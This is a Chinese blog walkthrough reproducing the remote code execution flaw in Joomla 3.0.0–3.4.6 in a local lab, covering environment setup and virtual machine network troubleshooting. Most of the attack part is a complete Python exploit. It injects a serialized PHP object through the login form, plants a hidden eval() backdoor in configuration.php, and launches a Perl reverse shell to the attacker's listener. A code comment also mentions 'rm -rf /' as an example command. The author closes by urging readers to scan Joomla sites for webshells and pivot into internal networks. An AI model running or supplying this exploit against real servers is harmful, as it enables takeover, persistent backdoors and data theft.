Joomla框架搭建&远程代码执行(RCE)漏洞复现
阅读原文时间:2022年01月19日阅读:1

一、漏洞描述

Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。

二、漏洞影响版本

Joomla 3.0.0-3.4.6

三、漏洞环境搭建
靶机:WIN10 192.168.10.13
攻击机:kali 192.168.1.110 -> 192.168.10.9(这个地方为什么ip要改后文会提到)

1.下载Joomla3.4.6,链接如下:

[https://downloads.joomla.org/cms/joomla3/3-4-6](https://downloads.joomla.org/cms/joomla3/3-4-6)

PS:因为此漏洞影响的版本为Joomla3.0.0-3.4.6,所以一定要下载这个区间以内的joomla进行安装测试,否则测试会失败,我第一次用的是joomla最新的3.9.8版本测试失败,所以特地把链接附上

2.安装环境,joomla的环境是需要wamp环境,但是自己配置wamp环境太麻烦,所以我们选用phpstudy集成环境,这里多提一句为什么不用wamp,因为我最开始用的wamp,如果你的靶机里面没有C++库的合集,就还需要安装C++库,而且会碰到各种奇奇怪怪的问题(别问我为什么知道的,因为我最先开始安装的就是wamp),所以这里选用phpstudy

这个地方又有一个问题,为什么不选择最新的phpstudy_pro,因为我没有找到phpstudy_pro的php后台管理页面,把pro下载了重新下载的2018版本,下载完成后如下图:

点击MySQL管理器,点击phpMyAdmin进入管理页面

phpstudy的默认初始帐号密码都是root登陆即可

这里我们随便新建一个数据库

然后把最开始下载好的Joomla安装包放到phpstudy的WWW目录下

打开浏览器访问这个目录即可进入Joomla的安装界面

这个页面随便填都可以,因为我们是本地测试环境所以这些信息都可以随便填,但是如果是要真正把Joomla放到公网上别人能够访问,那么你填写信息的时候一定要注意,因为你一旦放到公网上,别人抓到了你的漏洞,就能够通过这个web漏洞进入你的内网

记住数据库用户名和密码即可

这个地方注意一下,如果不是复现Joomla漏洞的话这个地方是选第三个选项的,可以理解为有些工作人员的操作失误导致了这个漏洞的产生

最后设置如下

点击确定即可成功安装网站

安装后必须要删除目录才行,否则无法继续进行测试

打开Joomla的主界面如下:

这个地方我首先进行下一步测试,但是始终卡在第一个建立会话连接的地方,所以应该是有问题的,因为始终对话连接建立不上,所以肯定第一个想的就是这两台主机能不能够ping通,首先我在w10上ping了一下kali发现是通的

但是在kali上ping w10却是ping不通的,这个地方主要看一下ping命令给我们返回的信息:

来自118这个ip的回复TTL传输过期

那么造成这个TTL传输过期的原因就是这两台主机不在同一网段,我的W10是在192.168.10.x这个网段,而我的kali是在192.168.1.x这个网段,因为子网掩码都是255.255.255.0,所以他们的网络地址是肯定不相同的,不同网段之间传输的数据肯定是不可达的

PS:这里多提一个知识点,在进行内网渗透的时候,因为我们跟内网主机是不同网段,所以我们之间肯定是不能传输数据的,所以这时候就要借助一个跳板来进行转发,那么就是公网的主机

查看了一下我的虚拟机是用的桥接模式,直接把他改成NAT模式

重启之后IP地址如下,使用nat模式的情况下默认是不会给你配ip的,因为没有dhcp服务,要自行设置ip地址跟网关

打开VM的虚拟网络编辑器,查看NAT模式下划分的子网地址,这个地方我设置的是192.168.10.x这个段,也就是说只要虚拟机使用的是NAT这个模式,我都要把他们的IP配到192.168.10.x这个段下,网关地址的话继续点击NAT设置进行查看

这里我将网关地址设置的是192.168.10.254

设置好之后重启一下网络连接,发现能够ping通w10了

然后开始进行joomla的漏洞复现
脚本如下:

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored

init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))

backdoor_param = random_string(50)

def print_info(str):
print(colored("[*] " + str,"cyan"))

def print_ok(str):
print(colored("[+] "+ str,"green"))

def print_error(str):
print(colored("[-] "+ str,"red"))

def print_warning(str):
print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf

def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True

def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies

def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)

    user\_payload = '\\\\0\\\\0\\\\0' \* 9  
    padding = 'AAA' # It will land at this padding  
    working\_test\_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'  
    clean\_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

    inj\_object = '";'  
    inj\_object += object\_payload  
    inj\_object += 's:6:"return";s:102:' # end the object with the 'return' part  
    password\_payload = padding + inj\_object  
    params = {  
        'username': user\_payload,  
        'password': password\_payload,  
        'option':'com\_users',  
        'task':'user.login',  
        csrf :'1'  
        }

    print\_info('Sending request ..')  
    resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)  
    return resp.text

def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request

    function = 'assert'  
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\\\0\\\\0\\\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\\\0\\\\0\\\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache\_name\_function";s:FUNC\_LEN:"FUNC\_NAME";s:10:"javascript";i:9999;s:8:"feed\_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\\\0\\\\0\\\\0connection";i:1;}'  
    # payload =  command + ' || $a=\\'http://wtf\\';'  
    # Following payload will append an eval() at the enabled of the configuration file  
    payload =  'file\_put\_contents(\\'configuration.php\\',\\'if(isset($\_POST\[\\\\\\'' + backdoor\_param +'\\\\\\'\])) eval($\_POST\[\\\\\\''+backdoor\_param+'\\\\\\'\]);\\', FILE\_APPEND) || $a=\\'http://wtf\\';'  
    function\_len = len(function)  
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC\_NAME', function).replace('FUNC\_LEN', str(len(function)))  
    return final

def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False

def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False

def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)

def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')

    # First check that the backdoor has not been already implanted  
    target\_url = url + 'index.php/component/users'

    make\_req(target\_url, get\_backdoor\_pay())  
    if ping\_backdoor(url, backdoor\_param):  
            print\_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor\_param)  
            print\_info('Now it\\'s time to reverse, trying with a system + perl')  
            execute\_backdoor(url, 'system(\\'perl -e \\\\\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\\\\'\\');')

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())

    url = args\['target'\]  
    if(check(url)):  
            print\_ok('Vulnerable')  
            if args\['exploit'\]:  
                    exploit(url, args\['lhost'\], args\['lport'\])  
            else:  
                    print\_info('Use --exploit to exploit it')

    else:  
            print\_error('Seems NOT Vulnerable ;/')

复制粘贴后生成一个名叫joomla3.4.6-rce.py的文件,执行如下语句:

python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/

这个地方有两个注意的地方,第一个是我的Joomla开头J是大写是因为我的这个文件夹命名的时候是以大写的J命名,所以要以文件夹名称为准,第二个就是结尾处一定要带上/,看一下下图的报错

这个报错seems not vulnerable ;/

报错的字面意思是:似乎是没有可利用的,后面加了个/,意思是让我们把/加在后面,为什么要加这个/的原因,我查阅资料后发现在py脚本里面会有字符串的拼接,如果不加/会导致字符串拼接失败

加上/之后发现回显Vulunerable,可以利用漏洞


使用py脚本生成一个木马,并打开攻击机的某个端口进行监听

在这里我用的是kali的9999端口,语句如下:

python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/ --exploit --lhost 192.168.10.9 --lport 9999

这个地方回等他跑完,我们看一下这个绿色语句,他的意思是说我已经生成了一个名叫configuration的php放在了Joomla这个目录下面,with后面的暂时我还不知道是什么含义

本着追根溯源的想法,我在win10打开了这个php,发现这个php应该是原本存在的,只不过这个py在他的最后一行加了一个eval语句

婷婷,这个地方的语句是不是有点眼熟

没错这个就是php的一句话木马,所以这个地方直接上蚁剑连接这个一句话木马就能拿到webshell了

复制URL和密码到蚁剑,试了几次发现连接不上,又来排查问题所在

因为看到报错是timeout:10000,所以自然想到这两个主机是不是不能相互传递数据,果然报错都是一模一样的TTL传输过期

查看了一下我物理机的网段,是在192.168.1.x这个网段,所以肯定是不能够建立连接的

因为其他的虚拟机都没有装蚁剑,所以这个地方最后上马进webshell的页面就借用其他博主的一张图,理论上应该是能够进的

总结一下:
虚拟机的网段尽量跟物理机保持一致,因为某些实验会在物理机跟虚拟机之间进行,另外就是在装虚拟机配ip的时候一定要根据虚拟网络编辑器里面的ip来配

这种joomla的框架,在打一些比赛需要拿网站的时候,如果碰到joomla框架,直接拿py去扫,就可以直接拿到webshell进内网,所以注重知识的积累还是很重要的